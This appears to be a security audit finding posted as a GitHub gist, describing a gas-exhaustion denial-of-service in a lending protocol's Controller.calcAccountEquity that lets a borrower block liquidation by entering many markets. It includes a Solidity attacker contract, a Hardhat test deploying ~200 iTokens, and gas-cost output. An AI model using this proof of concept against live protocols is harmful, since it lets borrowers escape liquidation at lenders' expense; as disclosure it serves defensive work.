Skip to content

Instantly share code, notes, and snippets.

@wadeAlexC

wadeAlexC/A.md Secret

Last active Mar 19, 2021
Embed
What would you like to do?

Entering markets and borrowing assets increases the gas cost required to perform account equity calculation (Controller.calcAccountEquity).

This calculation is required for several controller methods:

  • beforeTransfer (via _redeemAllowed)
  • beforeRedeem (via _redeemAllowed)
  • beforeBorrow
  • beforeLiquidateBorrow

This actions correspond to the following iToken methods:

  • transfer and transferFrom
  • redeem and redeemUnderlying
  • borrow
  • liquidateBorrow and seize

By manipulating their number of entered markets and borrowed assets, an attacker is able to force these methods to fail as their cost will exceed the block gas limit. Additionally, the cost to enter a market is relatively low, and does not depend on the number of previously-entered markets / previously-borrowed assets. This means that an attacker can borrow until they are at risk of being liquidated, then enter several markets and prevent the liquidation from occuring.

There are a few iToken methods that do not rely on calcAccountEquity:

  • mint
  • repayBorrow and repayBorrowBehalf

The below code deploys ~200 iTokens and estimates the gas cost of calcAccountEquity for a few different numbers of entered markets / borrowed assets. Unfortunately, the test takes some ~7 min to run fully due to the number of tokens that need to be deployed and the time it takes to estimate gas. I've included the important console output below, so you don't need to run the test yourself:

Tester has entered  1  markets
Tester has borrowed in  150  markets
== Entering markets:
calcAccountEquity cost:  3758304
Total collaterals:  2
Total borrows:  150
calcAccountEquity cost:  4106283
Total collaterals:  12
Total borrows:  150
calcAccountEquity cost:  4425929
Total collaterals:  22
Total borrows:  150
calcAccountEquity cost:  4745582
Total collaterals:  32
Total borrows:  150
calcAccountEquity cost:  5100437
Total collaterals:  42
Total borrows:  150
calcAccountEquity cost:  5417564
Total collaterals:  52
Total borrows:  150
calcAccountEquity cost:  5734698
Total collaterals:  62
Total borrows:  150
calcAccountEquity cost:  6079424
Total collaterals:  72
Total borrows:  150
calcAccountEquity cost:  6394033
Total collaterals:  82
Total borrows:  150
calcAccountEquity cost:  6753669
Total collaterals:  92
Total borrows:  150
calcAccountEquity cost:  7063215
Total collaterals:  102
Total borrows:  150
calcAccountEquity cost:  7407641
Total collaterals:  112
Total borrows:  150
calcAccountEquity cost:  7741922
Total collaterals:  122
Total borrows:  150
calcAccountEquity cost:  8066060
Total collaterals:  132
Total borrows:  150
calcAccountEquity cost:  8399702
Total collaterals:  142
Total borrows:  150
calcAccountEquity cost:  8713049
Total collaterals:  152
Total borrows:  150
calcAccountEquity cost:  9044094
Total collaterals:  162
Total borrows:  150
calcAccountEquity cost:  9393851
Total collaterals:  172
Total borrows:  150
    1) Estimates gas for calcAccountEquity


  0 passing (9m)
  1 failing

  1) Tester
       Estimates gas for calcAccountEquity:
     Error: Transaction reverted and Hardhat couldn't infer the reason. Please report this to help us improve Hardhat
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../iToken.sol";
import "../Controller.sol";
contract Tester {
using SafeRatioMath for uint;
using SafeMathUpgradeable for uint;
iToken public token;
Controller public controller;
IERC20Upgradeable public underlying;
constructor (iToken t) public {
token = t;
underlying = t.underlying();
controller = Controller(address(t.controller()));
// Approve all underlying to be transferred out by iToken
underlying.approve(address(t), type(uint).max);
enterMarket(address(t));
}
function mintInit() public {
uint bal = underlying.balanceOf(address(this));
require(bal != 0, "err: nil bal");
token.mint(address(this), bal);
}
function getCount() public view returns (uint, uint) {
return (
controller.getEnteredMarkets(address(this)).length,
controller.getBorrowedAssets(address(this)).length
);
}
function doBorrow(address _token) public {
iToken(_token).borrow(1);
}
function enterMarket(address _token) public {
require(!controller.hasEnteredMarket(address(this), _token), "err: already entered");
address[] memory addrs = new address[](1);
addrs[0] = _token;
bool[] memory results = controller.enterMarkets(addrs);
require(results[0], "err: false result");
}
function enterMarketAndBorrow(address _token) public {
enterMarket(_token);
iToken(_token).borrow(1);
}
}
const { expect } = require("chai");
const { utils, BigNumber } = require("ethers");
const {
parseTokenAmount,
formatTokenAmount,
setOraclePrice,
} = require("../helpers/utils.js");
const {
loadFixture,
fixtureDefault,
increaseBlock,
fixtureShortfall,
deployiTokenAndSetConfigs,
} = require("../helpers/fixtures.js");
describe("Tester", async function () {
let controller, iToken0, iToken1;
let user1, user2, account1, account2;
let priceOracle, mockPriceOracle;
let interestRateModel;
let tester;
let tokens = [];
let rewardDistributor;
let globalSpeed = utils.parseEther("10000");
before(async function () {
({
controller,
iToken0,
underlying0,
iToken1,
interestRateModel,
priceOracle,
mockPriceOracle,
accounts,
rewardDistributor,
} = await loadFixture(fixtureDefault));
[user1, user2] = accounts;
account1 = await user1.getAddress();
account2 = await user2.getAddress();
const Tester = await ethers.getContractFactory("Tester");
tester = await Tester.deploy(iToken0.address);
await tester.deployed();
// Transfer an amount of underlying tokens to tester
let amount = await parseTokenAmount(iToken0, 10000);
await underlying0.connect(user1).transfer(tester.address, amount);
// Perform an initial mint with all underlying0 assets
// Now we should have enough collateral to perform minimal borrows on ~200 tokens
await tester.mintInit();
amount = await parseTokenAmount(iToken0, 10);
// Deploy a ton of iTokens:
let reserveRatio = "0.075";
let flashloanFeeRatio = "0.0009";
let protocolFeeRatio = "0.1";
for (let i = 0; i < 200; i++) {
let tokenName = "Token " + i;
let tokenSymbol = "TOK" + i;
let {
underlying: underlyingA,
iToken: iTokenA,
} = await deployiTokenAndSetConfigs(
tokenName,
tokenSymbol,
18,
"i" + tokenName,
"i" + tokenSymbol,
controller,
interestRateModel,
true,
reserveRatio,
flashloanFeeRatio,
protocolFeeRatio
);
await underlyingA.connect(user1).transfer(tester.address, amount);
await iTokenA.connect(user1).mint(account1, amount);
console.log("#", i, ": ", iTokenA.address);
// Add the first 150 tokens as borrows
// Otherwise, this would take way too long...
if (i < 150) {
await tester.doBorrow(iTokenA.address);
}
tokens.push(iTokenA.address);
}
let count = await tester.getCount();
console.log("Tester has entered ", count[0].toString(), " markets");
console.log("Tester has borrowed in ", count[1].toString(), " markets");
});
it("Estimates gas for calcAccountEquity", async function () {
console.log("== Entering markets:");
for (i in tokens) {
await tester.enterMarket(tokens[i]);
// Print gas estimates every 10 tokens added
if (i % 10 == 0) {
let estimate = await controller.estimateGas.calcAccountEquity(tester.address);
console.log("calcAccountEquity cost: ", estimate.toString());
let count = await tester.getCount();
console.log("Total collaterals: ", count[0].toString());
console.log("Total borrows: ", count[1].toString());
}
}
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment